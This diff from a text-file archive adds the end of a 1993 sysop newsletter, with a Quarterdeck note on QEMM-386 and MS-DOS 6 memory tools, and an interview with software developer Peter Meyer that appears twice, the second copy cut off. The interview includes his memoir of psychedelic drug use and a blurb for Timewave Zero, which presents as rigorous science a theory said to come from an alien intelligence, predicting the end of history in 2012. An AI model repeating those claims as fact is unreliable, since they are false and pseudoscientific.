of the SETUP process. + + c. Run QEMM's OPTIMIZE to load those drivers into Upper Memory. + +If you should desire to experiment with Microsoft DOS 6's MemMaker (the +program that attempts to provide more memory), we can recommend a couple of +safeguards. MemMaker will remove ALL the QEMM-386 commands and configuration +from your CONFIG.SYS and AUTOEXEC.BAT files. We are confident that you will +want to return to Quarterdeck's QEMM-386, so we urge you to save a copy of +your CONFIG.SYS and AUTOEXEC.BAT files. Before you begin to experiment, copy +these files from the root directory to some other directory or to floppy +diskette. This will allow you to restore them easily. + +Next, be aware that even if you save the configuration created by MemMaker, +you can usually reverse its process by running MEMMAKER /UNDO. If the final +screen of the MemMaker process is NOT a numerical breakdown of how MemMaker +got you more memory (and every test that we've run says it won't be), select +the default exit by pressing the key. Do NOT press F3 to save the +current MemMaker configuration. + + + ISGnews 1-4 Page 9 April 1993 + +It may also be helpful to know that MemMaker does NOT handle CALLed batch +files. A CALLed batch file is executed with the DOS keyword "CALL". Doing +this tells DOS that you want the commands in the "CALLed" batch file executed, +and then you want DOS to resume executing the remaining commands in the +current batch file (the AUTOEXEC.BAT in this case). The significance of this +is that Quarterdeck's Optimize process DOES handle CALLed batch files, loading +any TSR's in those batch files into Upper Memory instead of just ignoring +them. This means that when MemMaker deletes the QEMM-386 commands from the +AUTOEXEC.BAT and CONFIG.SYS, it leaves them in the Optimized, CALLed batch +files. These would have to be removed by editing the CALLed batch files and +deleting the LOADHI information. If NO changes have been made since the last +time that you Optimized your system, you could also run UNOPT.BAT. UNOPT is a +batch file, created by Optimize, that returns your system to the condition it +was in before the most recent Optimize. If you have Optimized more than once, +this may not remove the LOADHI information. + +It is obvious that with the greater selection of features that QEMM-386 and +Optimize possess, MemMaker doesn't stand a chance of making more Upper Memory. +QEMM-386's Stealth feature adds 96K of Upper Memory. That's 64K better than +MemMaker's best attempt to find unused space in your System BIOS. Optimize +has the ability, through Quarterdeck's Squeeze technology, to "shoe-horn" +TSR's and device drivers into areas that are large enough for them to reside, +but too small for them to initialize. Optimize has a "What-If" feature that, +without editing your configuration and re-Optimizing, tells you the results of +rearranging the loading order of your programs and drivers. None of these are +possible with MemMaker. + +3. Are any of my Quarterdeck products affected by DoubleSpace? + +The most talked-about feature of Microsoft DOS 6 is DoubleSpace. DoubleSpace +was designed to be compatible with QEMM-386's Stealth feature. Disk +compression utilities, including Stacker, XtraDrive, and now DoubleSpace, have +gone to great lengths to be both Stealth- AND Optimize-compatible. + +DBLSPACE.BIN is the driver that gets loaded so that your system recognizes +your DoubleSpace drive. It gets loaded by IO.SYS during boot time, BEFORE DOS +has even thought about loading QEMM-386. It uses about 43K, and when the +CONFIG.SYS has completed, the memory used by the resident portion of +DBLSPACE.BIN appears to be tacked onto the LAST driver loaded in the +CONFIG.SYS. The best way to use DoubleSpace with QEMM-386 is to make sure you +have a line in your CONFIG.SYS file that reads: + + DEVICE=C:\DOS\DBLSPACE.SYS /MOVE + +DBLSPACE.SYS has only one purpose, and that is to make DBLSPACE.BIN appear as +a "real" driver, separate in memory. It gets added at the end of the +CONFIG.SYS with the parameter /MOVE. DoubleSpace REQUIRES that the +DBLSPACE.SYS driver be loaded in order for any memory manager to load +DBLSPACE.BIN high. + +At this point all you have to do is run Quarterdeck's OPTIMIZE. This will +load the 43K DoubleSpace driver into Upper Memory, space permitting. DESQview +or DESQview/X users should be aware that the DBLSPACE.EXE program cannot be +run from inside of DESQview or DESQview/X. DBLSPACE.EXE detects the presence +of DESQview and refuses to run. This program is used mainly for the creation +and maintenance of DoubleSpace drives. + + + ISGnews 1-4 Page 10 April 1993 + +Quarterdeck has a program called NODESQ.COM that can be run, in a window, +before a program that detects DESQview. NODESQ defeats the DESQview detection +of DESQview-aware applications, like DBLSPACE.EXE. You can add NODESQ.COM +(available from the Quarterdeck BBS) and run DBLSPACE.EXE (as is the case for +most of the DESQview-sensitive DOS 6 programs), but you may run some risk. +You should see that all DoubleSpace drives are mounted before entering any +multitasking environment. You should not mount drives using DBLSPACE.EXE +inside of DESQview. This may make working with DoubleSpaced floppies slightly +awkward. + + +4. How can I restore my QEMM-386 configuration after MemMaker has removed + QEMM-386 from my CONFIG.SYS and AUTOEXEC.BAT files? + +Your ability to return to QEMM-386, after running MemMaker, depends on how +long ago you ran it. The steps that you follow depend on whether you have: +1. Not yet completed MemMaker 2. Just finished it for the first time 3. Run it +more than once OR have made numerous post-MemMaker changes to your +configuration. + + +For the Number 1's (those who have not yet completed MemMaker): + +When MemMaker completes, and DOESN'T provide a better configuration than the +one you already had, it will tell you "Your computer's memory was optimally +configured before you ran MemMaker". At this juncture you can press +to restore your original configuration or F3 to save the MemMaker +configuration. Your choice at this time will be . Your existing +QEMM-386 configuration will be restored. + + +For the Number 2's (those who have just completed MemMaker): + +Since you have completed the MemMaker process, it has probably become evident +to you that nothing provides more Upper Memory for loading your TSR's and +device drivers than QEMM-386. Hopefully, you followed our advice and made +copies of your QEMM-386 Optimized CONFIG.SYS and AUTOEXEC.BAT. You may then +just copy them back. If you didn't, and MemMaker has completed, there are a +couple ways to recover your configuration. You should first attempt the +MEMMAKER /UNDO command. This restores your CONFIG.SYS and AUTOEXEC.BAT files +to the state they were in before the last time you completed MemMaker. + +However, this might not be possible. It is not possible if you have deleted +the backup copies of the AUTOEXEC.BAT and CONFIG.SYS files that MemMaker puts +in the same directory as MEMMAKER.EXE. These files are named AUTOEXEC.UMB and +CONFIG.UMB (and sometimes SYSTEM.UMB; this is a copy of your MS Windows +SYSTEM.INI file). It is also not possible to restore the QEMM information and +remove all the MemMaker information if you have run MemMaker MORE than ONCE. +This would mean that the *.UMB files created by MemMaker would NOT have the +QEMM information in them, but would still have ONLY MemMaker's options +installed. +If for some reason MEMMAKER /UNDO does not restore your QEMM-386 +configuration, don't worry. When you installed DOS 6 by using the SETUP +program, it required you to create an UNINSTALL diskette. Your original QEMM +configuration was copied to that diskette as the files CONFIG.DAT and +AUTOEXEC.DAT. You can restore your system (and save the MemMaker +configuration for future reference) from the files found on the DOS 6 +UNINSTALL diskette (CONFIG.DAT and AUTOEXEC.DAT) as follows: + + + + ISGnews 1-4 Page 11 April 1993 + +Place the UNINSTALL diskette in drive A: and type: + + C: + CD\ + REN CONFIG.SYS CONFIG.MEM + REN AUTOEXEC.BAT AUTOEXEC.MEM + COPY A:CONFIG.DAT C:\CONFIG.SYS + COPY A:AUTOEXEC.DAT C:\AUTOEXEC.BAT + +Your previous QEMM configuration should be restored. You may now install any +of the MS DOS 6 utilities and then run Quarterdeck's OPTIMIZE. Your +restoration is now complete. + + +For the Number 3's (those who have made further changes after MemMaker): + +It may not be feasible to run MEMMAKER /UNDO or copy back your configuration +files from the UNINSTALL diskette if you have made extensive changes to your +CONFIG.SYS and AUTOEXEC.BAT files after you have completed MemMaker. It might +be quicker to follow the next steps than to repeat all the work you have done +in configuring these files. + +Editing the CONFIG.SYS and AUTOEXEC.BAT: + +The main objectives in editing the CONFIG.SYS and AUTOEXEC.BAT are to add the +QEMM386.SYS line and to remove the DOS 6 memory management. (You MUST edit the +files with an editor that saves the files in a DOS ASCII format. Do NOT use +an editor or word processor that saves files in a "document" format, unless +you are aware of how to save them in DOS text or ASCII Text.) + +If you have done a significant amount of modification to your configuration +AFTER the MemMaker process has been completed, there are a couple of +conditions that have to be remedied. The first, and foremost, is that +MemMaker removed the QEMM386.SYS line from the CONFIG.SYS file and replaced it +with HIMEM.SYS, EMM386.EXE and DOS=UMB. The other issue is that MemMaker has +added information to the device driver and TSR-loading lines in the CONFIG.SYS +and AUTOEXEC.BAT. You will need to replace the DOS 6 memory managers with our +Quarterdeck memory manager and you will need to remove the information from +the device driver and TSR loading lines in the CONFIG.SYS and AUTOEXEC.BAT. + + +A. Adding the QEMM-386 memory manager + +The addition of the QEMM386.SYS line should be as close to the top of the +CONFIG.SYS file as possible. There is usually no problem with making this the +first line of the CONFIG.SYS. If you have a driver for your hard drive +controller or special hard drive partitioner, that line will usually need to +precede the QEMM386.SYS line. If QEMM-386 was installed in the default +location of C:\QEMM, the line would appear as follows: + + DEVICE=C:\QEMM\QEMM386.SYS + +To remove the DOS 6 memory managers you need to remove three lines from the +CONFIG.SYS. They will look like the following, assuming you installed DOS in +the C:\DOS subdirectory: + + DEVICE=C:\DOS\HIMEM.SYS + DEVICE=C:\DOS\EMM386.EXE (this may be followed by some parameters) + DOS=UMB + +These lines will have to be removed. The DOS=UMB line may appear as +DOS=HIGH,UMB; you will then only have to remove the ",UMB". + + + ISGnews 1-4 Page 12 April 1993 + +B. Removing the DOS 6 memory management information + +The removal of DOS 6's additional memory management information is a little +bit trickier. You need to remove the MemMaker-added information from the +existing device drivers and TSR's, while not removing the device drivers and +TSR's themselves. DOS 6's LOADHIGH (or LH as it usually appears in the +AUTOEXEC.BAT) and DEVICEHIGH now support explicit region specification and +driver size specification. The resulting lines in the CONFIG.SYS may look +something like: + + DEVICEHIGH /L:1,9072 =C:\DOS\ANSI.SYS + +and/or in the AUTOEXEC.BAT: + + LH /L:1,15762 C:\DOS\DOSKEY + +This causes a bit of a problem for Optimize. For the LH's, Optimize dutifully +strips away the LH (this was all that was required for DOS 5) and attempts to +do: + + LOADHI /GS /L:1,15762 C:\DOS\DOSKEY + +Here /L becomes an "invalid parameter" for LOADHI.COM. After a failed attempt +to Optimize, you may have lines in the AUTOEXEC.BAT that resemble: + + /L:1,15762 C:\DOS\DOSKEY + +These lines will not load and may cause certain actions to fail, due to that +particular TSR not loading. + +The DEVICEHIGHs are completely ignored by the Optimize process and either load +low or sometimes load high (if DOS=UMB is present). You will need to manually +remove the MemMaker information from these lines. Even though the Optimize +process (since the release of DOS 5) will remove the "HIGH" and "LH" from the +lines, you might as well take out the LH along with the parameters, and the +HIGH from DEVICEHIGH as well as its switches. The example lines from the +CONFIG.SYS and AUTOEXEC.BAT would then look like: +Before editing: DEVICEHIGH /L:1,9072 =C:\DOS\ANSI.SYS +After editing: DEVICE=C:\DOS\ANSI.SYS + +in the CONFIG.SYS and + +Before editing: LH /GS /L:1,15762 C:\DOS\DOSKEY +After editing: C:\DOS\DOSKEY + +in the AUTOEXEC.BAT. When you have successfully made these changes, you are +ready to run OPTIMIZE. After Optimize completes, you will have the best +memory configuration that also encompasses the other improvements that you +have made to your CONFIG.SYS and AUTOEXEC.BAT. + + +5. Will I have any problems with DESQview or DESQview/X? + +Very few Microsoft DOS 6 issues confront the DESQview or DESQview/X user. Any +of the MS-DOS 6 utilities that might, in ANY way, cause a problem when run in +a multitasking environment are DESQview-aware. These particular programs will +post a message reminding you that you are currently multitasking. DOS 6 uses +portions of the DESQview API (Application Programming Interface) to detect if +DESQview, or DESQview/X, is running. There are no problems running these +programs outside of the multitasking environment. + + + ISGnews 1-4 Page 12 April 1993 + +Available from Quarterdeck (via BBS, CompuServe, or other standard support +channels), is a program called NODESQ.COM. If NODESQ is run in the window, +before running a DESQview-aware program, that program will not detect the +presence of DESQview. You can add NODESQ.COM to a batch file that runs +DBLSPACE.EXE. You should mount all possible drives before starting DESQview +or DESQview/X. You should not mount drives using DBLSPACE.EXE inside of +DESQview. This may make working with DoubleSpaced floppies slightly awkward. + +VSAFE is the resident program that watches for certain acts of virii and +provides a warning when it finds one. VSAFE can be loaded in XMS (23K +conventional, 23K XMS) or EMS (6.5K conventional, 64K EMS) before DESQview +loads. If you do this, then you CANNOT ALWAYS pop it up over DESQview. If you +try, most of the time DESQview will appear to lose control over the keyboard. +The DESQ key will NOT pull up the menu, etc. This is because VSAFE is up; you +just can't see it. You have to hit ESC to make it go away. Then all will +function as normal. If VSAFE is forced into Conventional memory (44K) it will +pop-up inside of DESQview. VSAFE cannot be unloaded while inside of DESQview, +if it was loaded before DESQview. + + +The DOS 6 Interactive Boot Process + +DOS 6 now has an "interactive" boot process. You can program the CONFIG.SYS +to query you, every time the system boots, before loading a particular command +in the CONFIG.SYS. This is done by adding a "?" to the command before the "=" +in the command. The line: "DOS?=HIGH" would produce the following on the +screen: "DOS=HIGH [Y,N]?" and you can make a choice as to load it or not. +Optimize removes the "?" from any line that is edited by Optimize. These +include the lines in the CONFIG.SYS that begin with BUFFERS=, DEVICE=, or +INSTALL=. + +Another feature in the interactive boot process is the ability to build menus +of configurations in the CONFIG.SYS and AUTOEXEC.BAT. This is accomplished by +building "blocks" in the CONFIG.SYS, and having the name of the block +selection that you make on boot be passed to the AUTOEXEC.BAT as an +environment variable - %config%. The use of the environment variable, for +IF's and GOTO's, will then process a particular portion of the AUTOEXEC.BAT +file that is appropriate to that portion of the CONFIG.SYS. + +Multiple configurations (as implemented via the CONFIG.SYS blocks) have to be +MemMakered one configuration at a time. The DOS 6 documentation discusses the +process of converting your CONFIG.SYS and AUTOEXEC.BAT into multiple copies +and then MemMakering them one-at-a-time. They warn users to avoid [common] +blocks and "first entries" in the AUTOEXEC.BAT. Since MemMaker is strikingly +similar to the Optimize process (which predates DOS 6 by two (2) years!!) the +same steps need to be followed to Optimize the multiple configurations of MS +DOS 6. + + +6. What else is Quarterdeck doing for DOS 6? + +Quarterdeck's commitment to adding functionality to DOS, and DOS-based +programs, has kept our products at the forefront of memory management and +multitasking technology. With each new version of DOS comes an opportunity +for Quarterdeck to design new features and offer the DOS user an even greater +implementation of the world's most widely used operating system. Rest assured +that Quarterdeck intends to continue this pattern. + + + ************************************************************************ + *This technical note may be copied and distributed freely as long as it* + *is distributed in its entirety and it is not distributed for profit. * + * Copyright (C) 1993 by Quarterdeck Office Systems * + ************************ E N D O F F I L E ************************* + + + + ISGnews 1-4 Page 13 April 1993 + + >>>>>>>>>>>>>>>>>>>>>>> ISGNEWS INFORMATION <<<<<<<<<<<<<<<<<<<<<<< + + <<<<<<< ISGNEWS MASTHEAD AND CONTACT INFORMATION >>>>>>>> + + Editor: Andrew Wyatt + + NightSoft BBS + FidoNet 1:331/101 + ISGNet 91:91/0 + Data (508)-760-2147 + (Postal Service mailing address) + ISGNews + Box 3625 + Waquoit MA 02536 + + + + Published bimonthly by and for the Members of the International + Sysop's Guild. Copyright 1992, Andrew Wyatt and the ISG NetWork. + All rights reserved. Duplication and/or distribution permitted for + noncommercial purposes only. For use in other circumstances, please + contact Andrew Wyatt Isgnet 91:91/0 or NightSoft BBS 1-508-760-2147 + + + Opinions expressed in these articles are those of the authors and + not necessarily those of ISGNews. + + OBTAINING COPIES: ISGNews in electronic form may be obtained from + the ISGNews BBS via manual download or File Request, or from + various sites in the ISGNet . PRINTED COPIES mailed may be + obtained from International Sysop's Guild or $3.00 US each + PostPaid First Class within North America, or $5.00US elsewhere, + mailed Air Mail. (US funds drawn upon a US bank only.) + + Periodic subscriptions are not available at this time; if enough + people request it I will implement it. + + SUBMISSIONS: You are encouraged to submit articles for publication + in ISGNews. Article submission requirements are contained in the file + ISGART.SPC, available from the NIGHTSOFT BBS, or file requestable + from 91:91/0 file "ISGART.SPC". + + + - END + + \ No newline at end of file diff --git a/textfiles.com/magazines/MISC/interz02.txt b/textfiles.com/magazines/MISC/interz02.txt new file mode 100644 index 00000000..9c5f365f --- /dev/null +++ b/textfiles.com/magazines/MISC/interz02.txt @@ -0,0 +1,286 @@ +_______________________________________________________________________ + + | Not copyright + | + | May be freely copied and reproduced + | + | n t e r z i n e +_______________________________________________________________________ + + { Issue #2 : Peter Meyer } +_______________________________________________________________________ + +Peter Meyer is best known as the developer of the MS-DOS software +_Timewave Zero_, which demonstrates Terence McKenna's fractal model of +time and history. In the "About the Authors" section of the software +documentation, we learn: + + Peter Meyer received the first double honors Bachelor of Arts degree + awarded by Monash University, Melbourne, majoring both in Philosophy + and in Pure Mathematics. His mathematical research has been published + in _Discrete Mathematics_. He has travelled extensively, and spent + several years studying Tibetan Buddhism in India and Nepal. Peter is + an experienced software developer and has worked internationally as a + computer consultant. His interests include history, travel, cryptology, + geopolitics, anthropology, religion and psychedelic research. In + addition to _Timewave Zero_ he has written and published three C + function libraries, a Maya calendar program and a data encryption + software package. His DMT research has been published in _Psychedelic + Monographs and Essays_ and in the _Yearbook of Ethnomedicine and + Consciousness research_. His exploration of little-known areas of + consciousness has confirmed for him both the reality of other + dimensions of existence and of the Eckhartian/Buddhist undifferentiated + unity underlying all phenomena. He hopes to be present at the end of + history in 2012, 5125 years after its beginning. + + - some questions and answers - + +Q1. When you got your double honors degree in Philosophy and Pure +Mathematics at Monash University, what did you foresee yourself doing +in life? + +A1. When I finished my five-year course of studies at Monash +University I was still somewhat naive and idealistic. During those +years I seemed to have access to some intuitive source of metaphysical +knowledge which apparently I have now lost - or perhaps it is more +accurate to say that I am now less inclined to accept what I imagine +to be the case as actually being the case (without confirming +evidence). As a university student I felt (probably like many +university students, at least in the 60s) that there were realms of +knowledge waiting to be explored, and deep truths waiting to be +discovered. This was why I studied Philosophy and Mathematics (having +switched over from earlier undergraduate studies in natural science), +searching for deep truths. + +When I graduated I had no clear idea of what I was going to do in +life, beyond the general aim of continuing this search for deep +truths. I gave little thought to a career, or to the question of +earning a living. I had seriously considered doing graduate work in +AI with John McCarthy at Stanford University, but my interest in +psychology (especially that of Jung and of Piaget) won out. I had +inherited some property following my mother's death in 1970, and upon +graduating I sold this and left Australia to travel to Europe via +Asia, which I did. + +Q2. What was the nature of the research you have had published in +"Discrete Mathematics"? + +This was a paper entitled "On the Structure of Orthomodular Posets", +in the 1974 volume. It was my final-year undergraduate thesis in +mathematics, which I wrote in 1970. It is exceedingly abstract. In +it I prove a number of theorems about the construction of orthomodular +posets of various kinds from sets of sets satisfying certain mathematical +conditions. As far as I know no mathematician ever extended this line +of research any further. It was a path I went down that none cared to +follow. + +Q3. What motivated you to study Tibetan Buddhism? Where in India and +Nepal did you go to, and who did you study with? + +A3. As a first-year university student at the age of 18 I inclined to +atheism and agnosticism, but I then read Christmas Humphreys' book +"Buddhism", and immediately felt that this was a philosophy/religion +that made sense to me. However, I still cannot quite accept what +to some is the first principle of Buddhism, that this life is an +unmitigated realm of suffering. I prefer to see all sentient life as +an expression of a divine creativity, a viewpoint somewhat more akin +to the Hindu view of the world as divine play (illusion though it +ultimately may be). + +I was, like many people, first attracted to Tibetan Buddhism when +I discovered Tibetan art, especially the thanka paintings of the +tantric deities. This was around the time, in 1967, when I began +doing acid, which really opened me up to metaphysical and religious +dimensions. In the late 1960s I (with many others) read the works of +Lama Anagarika Govinda and of John Blofeld, and I came to believe that +the deepest truths were surely to be found in Tibetan Buddhism. + +I had some first-hand contact with the Tibetan tradition during my +first visit to India in 1971. I continued on to Europe to study +Jungian psychology, then returned to Australia in 1972 to do some +graduate work in Kantian philosophy. I returned to Europe in 1974, +where I met H. H. Sakya Trizin, the head of the Sakyapa Order of +Tibetan Buddhism. I expressed to him my wish to study Tibetan +Buddhism more deeply, and he suggested I return to North India (Dehra +Dun) to study with him, which I did. I spent most of 1975-1979 +studying with, and in the service of, this lama (who spoke good +English). I also received teachings from another lama, H. H. Chogye +Trichen Rimpoche, head of the Tsharpa branch of the Sakyapa tradition, +and abbot of the Tibetan monastery at Lumbini in Nepal. + +Q4. As a software developer and computer consultant, have you always +been freelance, or did you ever work for large corporations? I am +also curious about the nature of the "three C function libraries" and +the data encryption software package. + +A4. I learned to program in FORTRAN IV in 1965, while working for a +year with the Post Office in Melbourne. I did no programming during +the 70s. In the early 80s I was a freelance software developer in +California, and developed software for the Apple // which was +published. Since then I have sometimes been employed at small or +medium-sized corporations and sometimes have been a freelance +consultant or developer. In the mid-80s I got into MS-DOS software +development and during the last five years I have programmed mainly in C. + +In late 1989 I found myself in California, having just returned from +18 months in Europe, and was broke. The idea of getting a job and +being a wage-slave for the rest of my life did not appeal to me. +Instead I resolved to develop and publish software for a living. I +managed to eke out a a bare existence while developing software on +others' PCs, and during 1989-92 I created four C function libraries +(these are tools useful to C programmers) and three application +programs: a Maya calendrical conversion program, Timewave Zero +(illustrating Terence McKenna's theory of time and history) and some +data encryption software. The last incorporates an encryption method +which I developed during 1990-92. + +Q5. What are "Psychedelic Monographs and Essays" and the "Yearbook of +Ethnomedicine and Consciousness Research"? Who puts them out? What +is their audience? Their content? + +A5. "Psychedelic Monographs and Essays" (published by Thomas Lyttle, +first issued in 1985) evolved from the "Psychozoic Press" (published +by Elvin D. Smith, first issued in 1982). Both were/are collections +of essays and informative material dealing with all aspects of +psychedelics and psychoactive plants and fungi, with occasional +articles about psychedelic researchers and their work. The latest +volume of Psychedelic Monographs and Essays is #6, and has articles +classified under the headings of Spirituality, Psychotherapy, +Literature, Parapsychology and Pharmacology. It is available from +PM&E Publishing, P.O. Box 4465, Boynton Beach, FL 33424, for $20.00 +postpaid within the U.S., $27.00 outside the U.S. + +The "Yearbook of Ethnomedicine and Consciousness Research" is similar. +It is edited by the German anthropologist Dr. Christian Raetsch and +contains some articles in English and some in German. The first +volume was published in late 1992. It is available from the publisher, +Amand Aglaster, VWB, Postfach 11 03 68, 1000 Berlin 61, Germany. + +Q6. How did you get into psychedelic research? DMT research? + +A6. My initial awareness of the existence of psychedelics came from +reading Aldous Huxley's "Doors of Perception" in 1966. I knew +immediately that this was a field of research I wished to explore. My +opportunity came a few months later when an artist friend in Melbourne +informed me that some LSD had shown up. It was probably synthesized +locally, and was quite impure, but blew me away. Life has never been +the same since. + +I know of nothing more interesting and worthy of study than the +multitude of conscious states available through the use of psychedelics. +Had psychedelic research not been made illegal (this is itself a crime +against humanity) I would presumably have pursued my biochemical/- +psychological/philosophical studies under the auspices of academia. +Instead I abandoned the academic world for the study of Tibetan +Buddhism in India and later got into software development in the U.S. +and in Europe. But I have never ceased to do psychedelics occasionally, +and sometimes frequently, garnering such information and understanding +as I can under the circumstances. + +A couple of years after I began doing acid I discovered the delights +of marijuana and hashish, which subject I researched enthusiastically +in Asia beginning in 1971 (when the hash shops in Kathmandu were still +open and legal, before they were closed down at the insistence of the +U.S. Government). Morning glory seeds in 1974. In 1978 I discovered +psilocybin mushrooms at Palenque in Mexico. In 1983 MDMA in Berkeley. +In 1987 DMT in Hawaii. In 1988 Ketamine in Switzerland. In 1990 +5-MeO-DMT in Berkeley. + +My interest in DMT arose from hearing Terence McKenna speak of it in +some of his taped talks (especially his "Tryptamine Hallucinogens and +Consciousness"). My first experience with it was pretty strange; on +my second I thought I was dying. My initial encounter on DMT with the +alien entities did not come until two years later. As Terence has +said, and which I can confirm, the DMT experience is the weirdest +thing you can experience this side of the grave. The rational mind +retreats in utter disbelief when confronted with it. Thus I resolved +to research the topic, which I did during 1990-91 in Berkeley, where I +had access to the Biosciences Library at U.C. Berkeley. I gathered +reports from those few people I knew who had smoked it, and the +article which resulted appeared simultaneously in each of the journals +mentioned above. + + - the blurb for Timewave Zero - + +This software illustrates Terence McKenna's theory of time, +history and the end of history as first described in the book +"The Invisible Landscape" by him and his brother Dennis, and more +recently in his "The Archaic Revival" (HarperSanFrancisco, 1992) +The theory of Timewave Zero was revealed to Terence by an alien +intelligence following a bizarre, quasi-psychedelic experiment +conducted in the Amazon jungle in Colombia in 1971. Inspired by +this influence Terence was instructed in certain transformations +of numbers derived from the King Wen sequence of I Ching hexagrams. +This led eventually to a rigorous mathematical description of +what Terence calls the timewave, which correlates time and +history with the ebb and flow of novelty, which is intrinsic to +the structure of time and hence of the temporal universe. A +peculiarity of this correlation is that at a certain point a +singularity is reached which is the end of history - or at least +is a transition to a supra-historical order in which our ordinary +conceptions of our world will be radically transformed. The +best current estimate for the date of this point is December 21, +2012 CE, the winter solstice of that year and also the end of the +current era in the Maya calendar. + +The primary function of the software is to display any portion of +the timewave (up to seven billion years) as a graph of the +timewave related to the Western calendar (either Gregorian or +Julian). You can display the wave for the entire 4.5-billion-year +history of the Earth, note the peculiarities of the wave at such +points as the time of the extinction of the dinosaurs (65 million +years ago) and inspect parts of the wave as small as 92 minutes. +The software provides several ways of manipulating the wave display, +including the ability to zoom in on a target date or to step back +to get the larger picture. + +A remarkable quality of the timewave is that it is a fractal. +Once a part of the wave is displayed the software allows you to +expand any smaller part (down to 92 minutes). This usually +reveals a complexity of structure which persists however much the +wave is magnified, a property typical of fractals. The idea that +time has a fractal structure (in contrast to the Newtonian +conception of time as pure, unstructured duration) is a major +departure from the common view of the nature of time and physical +reality. That time is a fractal may be the reason why fractals +occur in Nature. + +The documentation describes the origin, construction and +philosophical significance of the timewave, the use of the +software, the mathematical definition of the timewave (with +proofs of some related mathematical theorems) and certain curious +numerical properties. + +An interesting part of the theory is the assertion of historical +periods "in resonance" with each other. Resonantly we have (in +1993) emerged from the fall of the Roman empire and are well into +the transitional period known historically as the Dark Ages. The +software permits graphical display of different regions of the +timewave that are in resonance with each other. This allows the +period 1945 - 2012 to be interpreted as a resonance of the period +2293 BC - 2012 CE. New in this version is the ability to graph +trigrammatic resonances in addition to the major resonances, and +to construct a sequential set of eleven trigrammatic resonances. +There is a new appendix concerning some recent mathematical results. + +The Timewave Zero software at last permits a scientific examination +of Terence's long-standing claim to have discovered the root cause +of the ups and downs of historical vicissitude. If his theory is +confirmed then we can look forward to a rough, but very interesting, +ride in the twenty years leading up to the climactic end-point of +history in 2012. During this time the events of the period from +745 CE are expected to recur (albeit in modern form). + +Timewave Zero 4.12 requires MS-DOS (2.10 or later) and runs on +IBM PC compatibles with and without a graphics adaptor. + + - a final note - + +Timewave Zero is currently published by Fringeware Inc., P. O. Box 49921, +Austin, TX 78765, USA, and should also be available from Sound +Photosynthesis in Mill Valley, CA and from Nightbloomers in Berkeley, CA; +or from AO Corporation, 134 Granada Dr, Corte Madera, CA 94925. + +Fringeware has a mailing list: +fringeware-request@wixer.cactus.org + diff --git a/textfiles.com/magazines/MISC/intzine.2 b/textfiles.com/magazines/MISC/intzine.2 new file mode 100644 index 00000000..733684d9 --- /dev/null +++ b/textfiles.com/magazines/MISC/intzine.2 @@ -0,0 +1,291 @@ +From: aleph1@stein.u.washington.edu (Mitch) +Newsgroups: alt.psychoactives,alt.zines +Subject: INTERZINE #2: Peter Meyer +Date: 11 Jun 1993 06:24:53 GMT +Message-ID: <1v98flINN4ci@news.u.washington.edu> + +_______________________________________________________________________ + + | Not copyright + | + | May be freely copied and reproduced + | + | n t e r z i n e +_______________________________________________________________________ + + { Issue #2 : Peter Meyer } +_______________________________________________________________________ + +Peter Meyer is best known as the developer of the MS-DOS software +_Timewave Zero_, which demonstrates Terence McKenna's fractal model of +time and history. In the "About the Authors" section of the software +documentation, we learn: + + Peter Meyer received the first double honors Bachelor of Arts degree + awarded by Monash University, Melbourne, majoring both in Philosophy + and in Pure Mathematics. His mathematical research has been published + in _Discrete Mathematics_. He has travelled extensively, and spent + several years studying Tibetan Buddhism in India and Nepal. Peter is + an experienced software developer and has worked internationally as a + computer consultant. His interests include history, travel, cryptology, + geopolitics, anthropology, religion and psychedelic research. In + addition to _Timewave Zero_ he has written and published three C + function libraries, a Maya calendar program and a data encryption + software package. His DMT research has been published in _Psychedelic + Monographs and Essays_ and in the _Yearbook of Ethnomedicine and + Consciousness research_. His exploration of little-known areas of + consciousness has confirmed for him both the reality of other + dimensions of existence and of the Eckhartian/Buddhist undifferentiated + unity underlying all phenomena. He hopes to be present at the end of + history in 2012, 5125 years after its beginning. + + - some questions and answers - + +Q1. When you got your double honors degree in Philosophy and Pure +Mathematics at Monash University, what did you foresee yourself doing +in life? + +A1. When I finished my five-year course of studies at Monash +University I was still somewhat naive and idealistic. During those +years I seemed to have access to some intuitive source of metaphysical +knowledge which apparently I have now lost - or perhaps it is more +accurate to say that I am now less inclined to accept what I imagine +to be the case as actually being the case (without confirming +evidence). As a university student I felt (probably like many +university students, at least in the 60s) that there were realms of +knowledge waiting to be explored, and deep truths waiting to be +discovered. This was why I studied Philosophy and Mathematics (having +switched over from earlier undergraduate studies in natural science), +searching for deep truths. + +When I graduated I had no clear idea of what I was going to do in +life, beyond the general aim of continuing this search for deep +truths. I gave little thought to a career, or to the question of +earning a living. I had seriously considered doing graduate work in +AI with John McCarthy at Stanford University, but my interest in +psychology (especially that of Jung and of Piaget) won out. I had +inherited some property following my mother's death in 1970, and upon +graduating I sold this and left Australia to travel to Europe via +Asia, which I did. + +Q2. What was the nature of the research you have had published in +"Discrete Mathematics"? + +This was a paper entitled "On the Structure of Orthomodular Posets", +in the 1974 volume. It was my final-year undergraduate thesis in +mathematics, which I wrote in 1970. It is exceedingly abstract. In +it I prove a number of theorems about the construction of orthomodular +posets of various kinds from sets of sets satisfying certain mathematical +conditions. As far as I know no mathematician ever extended this line +of research any further. It was a path I went down that none cared to +follow. + +Q3. What motivated you to study Tibetan Buddhism? Where in India and +Nepal did you go to, and who did you study with? + +A3. As a first-year university student at the age of 18 I inclined to +atheism and agnosticism, but I then read Christmas Humphreys' book +"Buddhism", and immediately felt that this was a philosophy/religion +that made sense to me. However, I still cannot quite accept what +to some is the first principle of Buddhism, that this life is an +unmitigated realm of suffering. I prefer to see all sentient life as +an expression of a divine creativity, a viewpoint somewhat more akin +to the Hindu view of the world as divine play (illusion though it +ultimately may be). + +I was, like many people, first attracted to Tibetan Buddhism when +I discovered Tibetan art, especially the thanka paintings of the +tantric deities. This was around the time, in 1967, when I began +doing acid, which really opened me up to metaphysical and religious +dimensions. In the late 1960s I (with many others) read the works of +Lama Anagarika Govinda and of John Blofeld, and I came to believe that +the deepest truths were surely to be found in Tibetan Buddhism. + +I had some first-hand contact with the Tibetan tradition during my +first visit to India in 1971. I continued on to Europe to study +Jungian psychology, then returned to Australia in 1972 to do some +graduate work in Kantian philosophy. I returned to Europe in 1974, +where I met H. H. Sakya Trizin, the head of the Sakyapa Order of +Tibetan Buddhism. I expressed to him my wish to study Tibetan +Buddhism more deeply, and he suggested I return to North India (Dehra +Dun) to study with him, which I did. I spent most of 1975-1979 +studying with, and in the service of, this lama (who spoke good +English). I also received teachings from another lama, H. H. Chogye +Trichen Rimpoche, head of the Tsharpa branch of the Sakyapa tradition, +and abbot of the 